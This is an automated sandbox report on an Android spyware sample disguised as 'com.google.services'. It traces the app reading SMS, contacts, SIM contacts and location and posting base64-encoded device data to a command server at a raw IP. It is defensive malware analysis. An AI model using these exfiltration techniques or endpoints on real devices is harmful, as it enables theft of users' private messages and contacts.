Loading ...

General Information

Analysis ID:1619
Start time:14:33:27
Start date:29/08/2013
Overall analysis duration:0h 4m 35s
Report type:full
Sample file name:c4c4077e9449147d754afd972e247efc.apk
Cookbook file name:timetick.jbs
Analysis system description:Android 4.0 EEE PC

Signature Overview

Location Tracing:

Queries the phones location (GPS)Show sources

Networking:

Tries to download non-existing http data (HTTP/1.1 404 Not Found)Show sources
Urls found in memory or binary dataShow sources
Uses HTTP for connecting to the internetShow sources
Checks an internet connection is availableShow sources
Posts data to webserverShow sources

Remote Access Functionality:

May mount or unmount file systems (removable storage)Show sources

Stealing of Sensitive Information:

Leaking sensitive information via POST to a webserverShow sources
Queries SIM card contact informationShow sources
Queries SMS dataShow sources
Queries phone contact informationShow sources
Registers a broadcast receiver to intercept incoming SMSShow sources

System Summary:

Requests potentially dangerous permissionsShow sources

Virtual Machine Detection:

Accesses android OS build fieldsShow sources

Screenshot

Contacted Domains

No contacted domains info

Contacted IPs

No contacted IP infos

Static File Info

File type:Zip archive data, at least v2.0 to extract
File name:c4c4077e9449147d754afd972e247efc.apk
File size:333583
MD5:c4c4077e9449147d754afd972e247efc
SHA1:6a2e025b35b9d35fd5ce67c66fca69141d96f74e
SHA256:e275b06aa61cc9be5a5805200c33f357a7b6952fe379055305d73315a8f94e7c
SHA512:99dc9afe37cca65304afdc9ccc671110faa9b24d95385d047698e7c756d0528a0c38120ae289103424149d5ff0b8628e6bb47b806d860af20e947b3c48196322

Static APK Info

General
Label:@02030002
Minium SDK required:8
Target SDK required:15
Version Code:1
Version Name:1
Package Name:com.google.services
Is Activity:true
Is Receiver:true
Is Service:true
Requests System Level Permissions:false
Play Store Compatible:true
Activities
NameIs Entrypoint
com.google.services.turntesttrue
Receivers
  • .ScreenReceiver
  • Intent: android.intent.action.USER_PRESENT, android.intent.action.BATTERY_CHANGED, android.intent.action.DATA_STATE, android.intent.action.TIME_TICK, android.intent.action.WALLPAPER_CHANGED, android.intent.action.PACKAGE_ADDED, android.intent.action.SCREEN_ON, android.intent.action.SIG_STR, android.intent.action.DATA_ACTIVITY
Services
  • .AlarmService
  • com.google.services.PhoneService
Permission Requested
  • READ_PHONE_STATE
  • android.permission.ACCESS_FINE_LOCATION
  • android.permission.ACCESS_NETWORK_STATE
  • android.permission.INTERNET
  • android.permission.MOUNT_UNMOUNT_FILESYSTEMS
  • android.permission.READ_CONTACTS
  • android.permission.READ_PHONE_STATE
  • android.permission.READ_SMS
  • android.permission.RECEIVE_SMS
  • android.permission.WRITE_EXTERNAL_STORAGE
Certifcate
Name:classes.dex
Issuer:1.2.840.113549.1.9.1=#1613616e64726f696440616e64726f69642e636f6d,CN=Android,OU=Android,O=Android,L=Mountain View,ST=California,C=US
Subject:1.2.840.113549.1.9.1=#1613616e64726f696440616e64726f69642e636f6d,CN=Android,OU=Android,O=Android,L=Mountain View,ST=California,C=US
Resources
NameType
res/drawable/shelf_bkg.png PNG image data, 480 x 800, 8-bit/color RGB, non-interlaced
META-INF/CERT.SF ASCII text, with CRLF line terminators
META-INF/CERT.RSA data
AndroidManifest.xml DBase 3 data file (5176 records)
classes.dex Dalvik dex file version 035
META-INF/MANIFEST.MF ASCII text, with CRLF line terminators
resources.arsc data
assets/m.txt ISO-8859 text, with CRLF line terminators
res/drawable/icon.png PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced

Network Behavior

TCP Packets
TimestampSource PortDest PortSource IPDest IP
Aug 29, 2013 14:34:07.602720976 CEST1566053192.168.2.58.8.8.8
Aug 29, 2013 14:34:11.125786066 CEST53156608.8.8.8192.168.2.5
Aug 29, 2013 14:34:11.126379967 CEST55614123192.168.2.569.50.219.51
Aug 29, 2013 14:36:16.991627932 CEST5396180192.168.2.564.78.161.133
Aug 29, 2013 14:36:16.991662025 CEST805396164.78.161.133192.168.2.5
Aug 29, 2013 14:36:16.991779089 CEST5396180192.168.2.564.78.161.133
Aug 29, 2013 14:36:16.992645979 CEST5396180192.168.2.564.78.161.133
Aug 29, 2013 14:36:16.992660046 CEST805396164.78.161.133192.168.2.5
Aug 29, 2013 14:36:18.506315947 CEST805396164.78.161.133192.168.2.5
Aug 29, 2013 14:36:18.506499052 CEST5396180192.168.2.564.78.161.133
Aug 29, 2013 14:36:18.562443018 CEST5396180192.168.2.564.78.161.133
Aug 29, 2013 14:36:18.562576056 CEST805396164.78.161.133192.168.2.5
Aug 29, 2013 14:36:18.562683105 CEST5396180192.168.2.564.78.161.133
Aug 29, 2013 14:37:17.014399052 CEST4835780192.168.2.564.78.161.133
Aug 29, 2013 14:37:17.014436960 CEST804835764.78.161.133192.168.2.5
Aug 29, 2013 14:37:17.014539957 CEST4835780192.168.2.564.78.161.133
Aug 29, 2013 14:37:17.014961004 CEST4835780192.168.2.564.78.161.133
Aug 29, 2013 14:37:17.014976025 CEST804835764.78.161.133192.168.2.5
Aug 29, 2013 14:37:18.156872988 CEST804835764.78.161.133192.168.2.5
Aug 29, 2013 14:37:18.157063961 CEST4835780192.168.2.564.78.161.133
Aug 29, 2013 14:37:18.163759947 CEST4392080192.168.2.564.78.161.133
Aug 29, 2013 14:37:18.163795948 CEST804392064.78.161.133192.168.2.5
Aug 29, 2013 14:37:18.163908958 CEST4392080192.168.2.564.78.161.133
Aug 29, 2013 14:37:18.164450884 CEST4392080192.168.2.564.78.161.133
Aug 29, 2013 14:37:18.164469957 CEST804392064.78.161.133192.168.2.5
Aug 29, 2013 14:37:18.293632030 CEST804835764.78.161.133192.168.2.5
Aug 29, 2013 14:37:18.293751001 CEST4835780192.168.2.564.78.161.133
Aug 29, 2013 14:37:18.377223969 CEST804835764.78.161.133192.168.2.5
Aug 29, 2013 14:37:18.377332926 CEST4835780192.168.2.564.78.161.133
Aug 29, 2013 14:37:19.261519909 CEST804392064.78.161.133192.168.2.5
Aug 29, 2013 14:37:19.261676073 CEST4392080192.168.2.564.78.161.133
Aug 29, 2013 14:37:19.267971992 CEST4835780192.168.2.564.78.161.133
Aug 29, 2013 14:37:19.273830891 CEST4357480192.168.2.564.78.161.133
Aug 29, 2013 14:37:19.273859978 CEST804357464.78.161.133192.168.2.5
Aug 29, 2013 14:37:19.273947001 CEST4357480192.168.2.564.78.161.133
Aug 29, 2013 14:37:19.274719000 CEST4357480192.168.2.564.78.161.133
Aug 29, 2013 14:37:19.274740934 CEST804357464.78.161.133192.168.2.5
Aug 29, 2013 14:37:19.329368114 CEST804392064.78.161.133192.168.2.5
Aug 29, 2013 14:37:19.329488993 CEST4392080192.168.2.564.78.161.133
Aug 29, 2013 14:37:19.412782907 CEST804392064.78.161.133192.168.2.5
Aug 29, 2013 14:37:19.412900925 CEST4392080192.168.2.564.78.161.133
Aug 29, 2013 14:37:20.175087929 CEST4392080192.168.2.564.78.161.133
Aug 29, 2013 14:37:20.701576948 CEST804357464.78.161.133192.168.2.5
Aug 29, 2013 14:37:20.701740980 CEST4357480192.168.2.564.78.161.133
Aug 29, 2013 14:37:20.801310062 CEST804357464.78.161.133192.168.2.5
Aug 29, 2013 14:37:20.801430941 CEST4357480192.168.2.564.78.161.133
Aug 29, 2013 14:37:20.938031912 CEST804357464.78.161.133192.168.2.5
Aug 29, 2013 14:37:20.938155890 CEST4357480192.168.2.564.78.161.133
Aug 29, 2013 14:37:22.246565104 CEST4357480192.168.2.564.78.161.133
Aug 29, 2013 14:37:50.003504992 CEST40933123192.168.2.569.50.219.51
UDP Packets
TimestampSource PortDest PortSource IPDest IP
Aug 29, 2013 14:34:07.602720976 CEST1566053192.168.2.58.8.8.8
Aug 29, 2013 14:34:11.125786066 CEST53156608.8.8.8192.168.2.5
Aug 29, 2013 14:34:11.126379967 CEST55614123192.168.2.569.50.219.51
Aug 29, 2013 14:37:50.003504992 CEST40933123192.168.2.569.50.219.51
HTTP Request Dependency Graph
  • 64.78.161.133
HTTP Packets
TimestampSource PortDest PortSource IPDest IPHeaderTotal Bytes Transfered (KB)
Aug 29, 2013 14:36:16.992645979 CEST5396180192.168.2.564.78.161.133POST /android.php HTTP/1.1
Content-Length: 25
Content-Type: application/x-www-form-urlencoded
Host: 64.78.161.133
Connection: Keep-Alive
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)
0
Aug 29, 2013 14:36:18.506315947 CEST805396164.78.161.133192.168.2.5HTTP/1.1 404 Not Found
Content-Length: 1308
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Thu, 29 Aug 2013 12:36:33 GMT
1
Aug 29, 2013 14:37:17.014961004 CEST4835780192.168.2.564.78.161.133POST /data/phone1368529863900/process.php HTTP/1.1
Content-Length: 30
Content-Type: application/x-www-form-urlencoded
Host: 64.78.161.133
Connection: Keep-Alive
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)
2
Aug 29, 2013 14:37:18.156872988 CEST804835764.78.161.133192.168.2.5HTTP/1.1 404 Not Found
Content-Length: 1308
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Thu, 29 Aug 2013 12:37:33 GMT
2
Aug 29, 2013 14:37:18.164450884 CEST4392080192.168.2.564.78.161.133POST /data/phone1368529863900/process.php HTTP/1.1
Content-Length: 82
Content-Type: application/x-www-form-urlencoded
Host: 64.78.161.133
Connection: Keep-Alive
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)
3
Aug 29, 2013 14:37:19.261519909 CEST804392064.78.161.133192.168.2.5HTTP/1.1 404 Not Found
Content-Length: 1308
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Thu, 29 Aug 2013 12:37:33 GMT
5
Aug 29, 2013 14:37:19.274719000 CEST4357480192.168.2.564.78.161.133POST /data/phone1368529863900/process.php HTTP/1.1
Content-Length: 33
Content-Type: application/x-www-form-urlencoded
Host: 64.78.161.133
Connection: Keep-Alive
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)
5
Aug 29, 2013 14:37:20.701576948 CEST804357464.78.161.133192.168.2.5HTTP/1.1 404 Not Found
Content-Length: 1308
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Thu, 29 Aug 2013 12:37:35 GMT
7

APK Behavior

Installation Messages
NameIs Error
Running dexopt on: com.google.services; New package installed in /data/app/com.google.services-1.apk; Unknown permission READ_PHONE_STATE in package com.google.services; generateServicesMap(android.accounts.AccountAuthenticator): 3 services unchanged; generateServicesMap(android.content.SyncAdapter): 14 services unchanged-false
Started Services
Registered Receivers
Simulated Events
TypeData
boot completed
  • -
time tick
  • -
incoming sms
  • 0123456789
  • this is a text message
outgoing sms
  • 9876543210
  • thank you
location change
  • 54.13
  • 12.14
incoming call
  • 0123456789
outgoing call
  • 9876543210
time tick
  • -
Dropped Files
Remote Pathway
/data/data/com.google.services/files/test.txt
API: android.location.LocationManager->getLastKnownLocation Show source
NameTypeValue
providerjava.lang.String
  • toString: gps
NameTypeValue
Return Valuenull
  • $1: null
API: android.net.ConnectivityManager->getActiveNetworkInfo Show source
NameTypeValue
Return Valueandroid.net.NetworkInfo
  • toString: NetworkInfo: type: MOBILE[???], state: CONNECTED/CONNECTED, reason: (unspecified), extra: (none), roaming: false, failover: false, isAvailable: false
API: org.apache.http.impl.client.DefaultHttpClient->execute Show source
NameTypeValue
p0org.apache.http.client.methods.HttpPost
  • toString: org.apache.http.client.methods.HttpPost@a0a20cb8
  • getEntity.decodeBase64: create='{]
  • getEntity.getContentType: Content-Type: application/x-www-form-urlencoded
  • getEntity.toString: create=phone1368529863900
  • getURI: http://64.78.161.133/android.php
NameTypeValue
Return Valueorg.apache.http.message.BasicHttpResponse
  • toString: org.apache.http.message.BasicHttpResponse@a0a5f928
API: org.apache.http.impl.client.DefaultHttpClient->execute Show source
NameTypeValue
p0org.apache.http.client.methods.HttpPost
  • toString: org.apache.http.client.methods.HttpPost@a09e4f80
  • getEntity.decodeBase64: location=;No location found
  • getEntity.getContentType: Content-Type: application/x-www-form-urlencoded
  • getEntity.toString: location=O05vIGxvY2F0aW9uIGZvdW5k
  • getURI: http://64.78.161.133/data/phone1368529863900/process.php
NameTypeValue
Return Valueorg.apache.http.message.BasicHttpResponse
  • toString: org.apache.http.message.BasicHttpResponse@a067bb90
API: android.content.ContentResolver->query Show source
NameTypeValue
p0android.net.Uri$HierarchicalUri
  • toString: content://com.android.contacts/data/phones
p1[Ljava.lang.String;
  • toString: [Ljava.lang.String;@a09bf818
  • Arrays.toString: [display_name, data1]
p2null
  • $1: null
p3null
  • $1: null
p4null
  • $1: null
NameTypeValue
Return Valueandroid.content.ContentResolver$CursorWrapperInner
  • toString: android.content.ContentResolver$CursorWrapperInner@a06795a8
API: android.content.ContentResolver->query Show source
NameTypeValue
p0android.net.Uri$StringUri
  • toString: content://icc/adn
p1[Ljava.lang.String;
  • toString: [Ljava.lang.String;@a09bf818
  • Arrays.toString: [display_name, data1]
p2null
  • $1: null
p3null
  • $1: null
p4null
  • $1: null
NameTypeValue
Return Valueandroid.content.ContentResolver$CursorWrapperInner
  • toString: android.content.ContentResolver$CursorWrapperInner@a09c4e48
API: android.content.ContentResolver->query Show source
NameTypeValue
p0android.net.Uri$StringUri
  • toString: content://sms/
p1[Ljava.lang.String;
  • toString: [Ljava.lang.String;@a0a8e7c8
  • Arrays.toString: [_id, address, person, body, date, type]
p2null
  • $1: null
p3null
  • $1: null
p4java.lang.String
  • toString: date desc
NameTypeValue
Return Valueandroid.content.ContentResolver$CursorWrapperInner
  • toString: android.content.ContentResolver$CursorWrapperInner@a0a52c08
API: android.location.LocationManager->getBestProvider Show source
API: org.apache.http.impl.client.DefaultHttpClient-><init> Show source
API: org.apache.http.impl.client.DefaultHttpClient-><init> Show source
API: com.google.services.AlarmService->registerReceiver Show source
NameTypeValue
p0com.google.services.alarmReceiver
  • toString: com.google.services.alarmReceiver@a0a7c418
p1android.content.IntentFilter
  • toString: android.content.IntentFilter@a0a7c120
  • getAction0: android.provider.Telephony.SMS_RECEIVED
NameTypeValue
Return Valuenull
  • $1: null
API: com.google.services.AlarmService->getSystemService Show source
NameTypeValue
p0java.lang.String
  • toString: location
NameTypeValue
Return Valueandroid.location.LocationManager
  • toString: android.location.LocationManager@a09fc9d8
API: android.location.Criteria->setAccuracy Show source
NameTypeValue
accuracyjava.lang.Integer
  • toString: 1
API: android.location.Criteria->setCostAllowed Show source
NameTypeValue
p0java.lang.Boolean
  • toString: true
API: android.location.LocationManager->getLastKnownLocation Show source
NameTypeValue
providerjava.lang.String
  • toString: gps
NameTypeValue
Return Valuenull
  • $1: null
API: android.content.Intent->putExtras Show source
NameTypeValue
p0android.os.Bundle
  • toString: Bundle[{location=No location found}]
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { act=com.google.system.receiver (has extras) }
API: com.google.services.AlarmService->sendBroadcast Show source
NameTypeValue
p0android.content.Intent
  • toString: Intent { act=com.google.system.receiver (has extras) }
API: android.location.LocationManager->requestLocationUpdates Show source
NameTypeValue
p0java.lang.String
  • toString: gps
p1java.lang.Long
  • toString: 10000
p2java.lang.Float
  • toString: 20.0
p3com.google.services.AlarmService$1
  • toString: com.google.services.AlarmService$1@a09b7f78
API: android.content.ContentResolver->query Show source
NameTypeValue
p0android.net.Uri$HierarchicalUri
  • toString: content://com.android.contacts/data/phones
p1[Ljava.lang.String;
  • toString: [Ljava.lang.String;@a09bf818
  • Arrays.toString: [display_name, data1]
p2null
  • $1: null
p3null
  • $1: null
p4null
  • $1: null
NameTypeValue
Return Valueandroid.content.ContentResolver$CursorWrapperInner
  • toString: android.content.ContentResolver$CursorWrapperInner@a06795a8
API: android.net.Uri->parse Show source
NameTypeValue
uriStringjava.lang.String
  • toString: content://icc/adn
NameTypeValue
Return Valueandroid.net.Uri$StringUri
  • toString: content://icc/adn
API: android.content.ContentResolver->query Show source
NameTypeValue
p0android.net.Uri$StringUri
  • toString: content://icc/adn
p1[Ljava.lang.String;
  • toString: [Ljava.lang.String;@a09bf818
  • Arrays.toString: [display_name, data1]
p2null
  • $1: null
p3null
  • $1: null
p4null
  • $1: null
NameTypeValue
Return Valueandroid.content.ContentResolver$CursorWrapperInner
  • toString: android.content.ContentResolver$CursorWrapperInner@a09c4e48
API: android.content.Intent->putExtras Show source
NameTypeValue
p0android.os.Bundle
  • toString: Bundle[{contact=mobile:Galaxy Nexus,SDK version:17,OS version:4.2.1#}]
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { act=com.google.system.receiver (has extras) }
API: com.google.services.AlarmService->sendBroadcast Show source
NameTypeValue
p0android.content.Intent
  • toString: Intent { act=com.google.system.receiver (has extras) }
API: android.net.Uri->parse Show source
NameTypeValue
uriStringjava.lang.String
  • toString: content://sms/
NameTypeValue
Return Valueandroid.net.Uri$StringUri
  • toString: content://sms/
API: android.content.ContentResolver->query Show source
NameTypeValue
p0android.net.Uri$StringUri
  • toString: content://sms/
p1[Ljava.lang.String;
  • toString: [Ljava.lang.String;@a0a8e7c8
  • Arrays.toString: [_id, address, person, body, date, type]
p2null
  • $1: null
p3null
  • $1: null
p4java.lang.String
  • toString: date desc
NameTypeValue
Return Valueandroid.content.ContentResolver$CursorWrapperInner
  • toString: android.content.ContentResolver$CursorWrapperInner@a0a52c08
API: android.content.Intent->putExtras Show source
NameTypeValue
p0android.os.Bundle
  • toString: Bundle[{sms=no result!}]
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { act=com.google.system.receiver (has extras) }
API: com.google.services.AlarmService->sendBroadcast Show source
NameTypeValue
p0android.content.Intent
  • toString: Intent { act=com.google.system.receiver (has extras) }
API: java.io.File-><init> Show source
NameTypeValue
p0java.io.File
  • toString: /data/data/com.google.services/files
p1java.lang.String
  • toString: test.txt
NameTypeValue
Return Valuejava.io.File
  • toString: /data/data/com.google.services/files/test.txt
API: java.io.File-><init> Show source
NameTypeValue
p0java.io.File
  • toString: /data/data/com.google.services/files
p1java.lang.String
  • toString: test.txt
NameTypeValue
Return Valuejava.io.File
  • toString: /data/data/com.google.services/files/test.txt
API: java.io.File->length Show source
NameTypeValue
Return Valuejava.lang.Long
  • toString: 285
API: java.lang.String-><init> Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@a067c4a8
  • $1: [UNREADABLE UNICODE]
  • $2: D7F2CCECCFC2CEE7A3ACC8ABB9FAD5FED0AD0D0A
p1java.lang.String
  • toString: GBK
NameTypeValue
Return Valuejava.lang.String
  • toString: [UNREADABLE UNICODE]
API: java.lang.String-><init> Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@a0977bf8
  • $1: [UNREADABLE UNICODE]
  • $2: CAAEB6FEBDECD2BBB4CEBBE1D2E9D0C2CEC50D0A
p1java.lang.String
  • toString: GBK
NameTypeValue
Return Valuejava.lang.String
  • toString: [UNREADABLE UNICODE]
API: java.lang.String-><init> Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@a09833a8
  • $1: [UNREADABLE UNICODE]
  • $2: B7A2B2BCBBE1D4DAC1BDBBE1D0C2CEC5D6D00D0A
p1java.lang.String
  • toString: GBK
NameTypeValue
Return Valuejava.lang.String
  • toString: [UNREADABLE UNICODE]
API: java.lang.String-><init> Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@a098eb58
  • $1: [UNREADABLE UNICODE]
  • $2: D0C4BED9D0D0A1A3D5FED0ADB4F3BBE1D0C20D0A
p1java.lang.String
  • toString: GBK
NameTypeValue
Return Valuejava.lang.String
  • toString: [UNREADABLE UNICODE]
API: java.lang.String-><init> Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@a099a308
  • $1: [UNREADABLE UNICODE]
  • $2: C8CED0C2CEC5B7A2D1D4C8CBC2C0D0C2BBAA0D0A
p1java.lang.String
  • toString: GBK
NameTypeValue
Return Valuejava.lang.String
  • toString: [UNREADABLE UNICODE]
API: java.lang.String-><init> Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@a09a5ab8
  • $1: [UNREADABLE UNICODE]
  • $2: A3ACBBD8B4F0C1CBC8ABC7F2BCC7D5DFB9D80D0A
p1java.lang.String
  • toString: GBK
NameTypeValue
Return Valuejava.lang.String
  • toString: [UNREADABLE UNICODE]
API: java.lang.String-><init> Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@a09b11c0
  • $1: [UNREADABLE UNICODE]
  • $2: D3DAD6D0C8D5B9D8CFB5A1A2CEEDF6B2D6CE0D0A
p1java.lang.String
  • toString: GBK
NameTypeValue
Return Valuejava.lang.String
  • toString: [UNREADABLE UNICODE]
API: java.lang.String-><init> Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@a09bc8c8
  • $1: [UNREADABLE UNICODE]
  • $2: C0EDA1A2CFE3B8DBC4CCB7DBCFDEB9BAA1A20D0A
p1java.lang.String
  • toString: GBK
NameTypeValue
Return Valuejava.lang.String
  • toString: [UNREADABLE UNICODE]
API: java.lang.String-><init> Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@a09c8078
  • $1: 8
  • $2: CFE3B8DBCCD8CAD7C6D5D1A1B5C838B8F60D0A
p1java.lang.String
  • toString: GBK
NameTypeValue
Return Valuejava.lang.String
  • toString: 8
API: java.lang.String-><init> Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@a09d3598
  • $1: [UNREADABLE UNICODE]
  • $2: CECACCE2A1A3C2C0D0C2BBAAB1EDCABEA3AC0D0A
p1java.lang.String
  • toString: GBK
NameTypeValue
Return Valuejava.lang.String
  • toString: [UNREADABLE UNICODE]
API: java.lang.String-><init> Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@a09ded48
  • $1: [UNREADABLE UNICODE]
  • $2: C8E7C8D5B7BDD4DAB5F6D3E3B5BACECACCE20D0A
p1java.lang.String
  • toString: GBK
NameTypeValue
Return Valuejava.lang.String
  • toString: [UNREADABLE UNICODE]
API: java.lang.String-><init> Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@a09ea558
  • $1: [UNREADABLE UNICODE]
  • $2: C9CFBCCCD0F8BCE1B3D6B4EDCEF3D7F6B7A80D0A
p1java.lang.String
  • toString: GBK
NameTypeValue
Return Valuejava.lang.String
  • toString: [UNREADABLE UNICODE]
API: java.lang.String-><init> Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@a09f5d08
  • $1: [UNREADABLE UNICODE]
  • $2: A3ACD4ECB3C9B2C1C7B9D7DFBBF0B5C4BAF30D0A
p1java.lang.String
  • toString: GBK
NameTypeValue
Return Valuejava.lang.String
  • toString: [UNREADABLE UNICODE]
API: java.lang.String-><init> Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@a0a014b8
  • $1: [UNREADABLE UNICODE]
  • $2: B9FBA3ACC8D5B7BDD0EBB3D0B5A3D2BBC7D00D0A
p1java.lang.String
  • toString: GBK
NameTypeValue
Return Valuejava.lang.String
  • toString: [UNREADABLE UNICODE]
API: java.lang.String-><init> Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@a0a0cc68
  • $1: [UNREADABLE UNICODE]
  • $2: BAF3B9FBA1A3
p1java.lang.String
  • toString: GBK
NameTypeValue
Return Valuejava.lang.String
  • toString: [UNREADABLE UNICODE]
API: android.os.Bundle->getString Show source
NameTypeValue
p0java.lang.String
  • toString: telmark
NameTypeValue
Return Valuejava.lang.String
  • toString: phone
API: android.app.SharedPreferencesImpl->getString Show source
NameTypeValue
p0java.lang.String
  • toString: native
p1java.lang.String
  • toString: ""
NameTypeValue
Return Valuejava.lang.String
  • toString: ""
API: android.app.ContextImpl->getSystemService Show source
NameTypeValue
p0java.lang.String
  • toString: connectivity
NameTypeValue
Return Valueandroid.net.ConnectivityManager
  • toString: android.net.ConnectivityManager@a0a6c780
API: android.net.ConnectivityManager->getActiveNetworkInfo Show source
NameTypeValue
Return Valueandroid.net.NetworkInfo
  • toString: NetworkInfo: type: MOBILE[???], state: CONNECTED/CONNECTED, reason: (unspecified), extra: (none), roaming: false, failover: false, isAvailable: false
API: android.net.NetworkInfo->isAvailable Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
API: com.google.services.PhoneService->startService Show source
NameTypeValue
p0android.content.Intent
  • toString: Intent { cmp=com.google.services/.AlarmService }
NameTypeValue
Return Valueandroid.content.ComponentName
  • toString: ComponentInfo{com.google.services/com.google.services.AlarmService}
API: android.app.ContextImpl->getSystemService Show source
NameTypeValue
p0java.lang.String
  • toString: connectivity
NameTypeValue
Return Valueandroid.net.ConnectivityManager
  • toString: android.net.ConnectivityManager@a0a6c780
API: android.net.ConnectivityManager->getActiveNetworkInfo Show source
NameTypeValue
Return Valueandroid.net.NetworkInfo
  • toString: NetworkInfo: type: MOBILE[???], state: CONNECTED/CONNECTED, reason: (unspecified), extra: (none), roaming: false, failover: false, isAvailable: false
API: android.net.NetworkInfo->isAvailable Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
API: com.google.services.PhoneService->registerReceiver Show source
NameTypeValue
p0com.google.services.sendReceiver
  • toString: com.google.services.sendReceiver@a0a681c0
p1android.content.IntentFilter
  • toString: android.content.IntentFilter@a0671120
  • getAction0: com.google.system.receiver
NameTypeValue
Return Valuenull
  • $1: null
API: com.google.services.turntest->getSystemService Show source
NameTypeValue
p0java.lang.String
  • toString: activity
NameTypeValue
Return Valueandroid.app.ActivityManager
  • toString: android.app.ActivityManager@a0a40800
API: com.google.services.turntest->startService Show source
NameTypeValue
p0android.content.Intent
  • toString: Intent { cmp=com.google.services/.PhoneService }
NameTypeValue
Return Valueandroid.content.ComponentName
  • toString: ComponentInfo{com.google.services/com.google.services.PhoneService}
API: com.google.services.turntest->getSystemService Show source
NameTypeValue
p0java.lang.String
  • toString: activity
NameTypeValue
Return Valueandroid.app.ActivityManager
  • toString: android.app.ActivityManager@a0a40800
API: org.apache.http.params.BasicHttpParams->setParameter Show source
NameTypeValue
p0java.lang.String
  • toString: http.connection.timeout
p1java.lang.Integer
  • toString: 10000
NameTypeValue
Return Valueorg.apache.http.params.BasicHttpParams
  • toString: org.apache.http.params.BasicHttpParams@a09b8298
API: org.apache.http.params.BasicHttpParams->setParameter Show source
NameTypeValue
p0java.lang.String
  • toString: http.socket.timeout
p1java.lang.Integer
  • toString: 10000
NameTypeValue
Return Valueorg.apache.http.params.BasicHttpParams
  • toString: org.apache.http.params.BasicHttpParams@a09b8298
API: org.apache.http.impl.client.DefaultHttpClient->execute Show source
NameTypeValue
p0org.apache.http.client.methods.HttpPost
  • toString: org.apache.http.client.methods.HttpPost@a0984df0
  • getEntity.decodeBase64: create='{]
  • getEntity.getContentType: Content-Type: application/x-www-form-urlencoded
  • getEntity.toString: create=phone1368529863900
  • getURI: http://64.78.161.133/android.php
NameTypeValue
Return Valuenull
  • $1: null
API: org.apache.http.params.BasicHttpParams->setParameter Show source
NameTypeValue
p0java.lang.String
  • toString: http.connection.timeout
p1java.lang.Integer
  • toString: 10000
NameTypeValue
Return Valueorg.apache.http.params.BasicHttpParams
  • toString: org.apache.http.params.BasicHttpParams@a0a213a8
API: org.apache.http.params.BasicHttpParams->setParameter Show source
NameTypeValue
p0java.lang.String
  • toString: http.socket.timeout
p1java.lang.Integer
  • toString: 10000
NameTypeValue
Return Valueorg.apache.http.params.BasicHttpParams
  • toString: org.apache.http.params.BasicHttpParams@a0a213a8
API: org.apache.http.impl.client.DefaultHttpClient->execute Show source
NameTypeValue
p0org.apache.http.client.methods.HttpPost
  • toString: org.apache.http.client.methods.HttpPost@a0a20cb8
  • getEntity.decodeBase64: create='{]
  • getEntity.getContentType: Content-Type: application/x-www-form-urlencoded
  • getEntity.toString: create=phone1368529863900
  • getURI: http://64.78.161.133/android.php
NameTypeValue
Return Valueorg.apache.http.message.BasicHttpResponse
  • toString: org.apache.http.message.BasicHttpResponse@a0a5f928
API: org.apache.http.StatusLine->getStatusCode Show source
NameTypeValue
Return Valuejava.lang.Integer
  • toString: 200
API: org.apache.http.params.BasicHttpParams->setParameter Show source
NameTypeValue
p0java.lang.String
  • toString: http.connection.timeout
p1java.lang.Integer
  • toString: 10000
NameTypeValue
Return Valueorg.apache.http.params.BasicHttpParams
  • toString: org.apache.http.params.BasicHttpParams@a0a34bf8
API: org.apache.http.params.BasicHttpParams->setParameter Show source
NameTypeValue
p0java.lang.String
  • toString: http.socket.timeout
p1java.lang.Integer
  • toString: 10000
NameTypeValue
Return Valueorg.apache.http.params.BasicHttpParams
  • toString: org.apache.http.params.BasicHttpParams@a0a34bf8
API: org.apache.http.impl.client.DefaultHttpClient->execute Show source
NameTypeValue
p0org.apache.http.client.methods.HttpPost
  • toString: org.apache.http.client.methods.HttpPost@a09db3b8
  • getEntity.decodeBase64: location=No location found
  • getEntity.getContentType: Content-Type: application/x-www-form-urlencoded
  • getEntity.toString: location=Tm8gbG9jYXRpb24gZm91bmQ=
  • getURI: http://64.78.161.133/data/phone1368529863900/process.php
NameTypeValue
Return Valuenull
  • $1: null
API: org.apache.http.params.BasicHttpParams->setParameter Show source
NameTypeValue
p0java.lang.String
  • toString: http.connection.timeout
p1java.lang.Integer
  • toString: 10000
NameTypeValue
Return Valueorg.apache.http.params.BasicHttpParams
  • toString: org.apache.http.params.BasicHttpParams@a0aad318
API: org.apache.http.params.BasicHttpParams->setParameter Show source
NameTypeValue
p0java.lang.String
  • toString: http.socket.timeout
p1java.lang.Integer
  • toString: 10000
NameTypeValue
Return Valueorg.apache.http.params.BasicHttpParams
  • toString: org.apache.http.params.BasicHttpParams@a0aad318
API: org.apache.http.impl.client.DefaultHttpClient->execute Show source
NameTypeValue
p0org.apache.http.client.methods.HttpPost
  • toString: org.apache.http.client.methods.HttpPost@a0aacaa8
  • getEntity.decodeBase64: contact=mobile:Galaxy Nexus,SDK version:17,OS version:4.2.1#
  • getEntity.getContentType: Content-Type: application/x-www-form-urlencoded
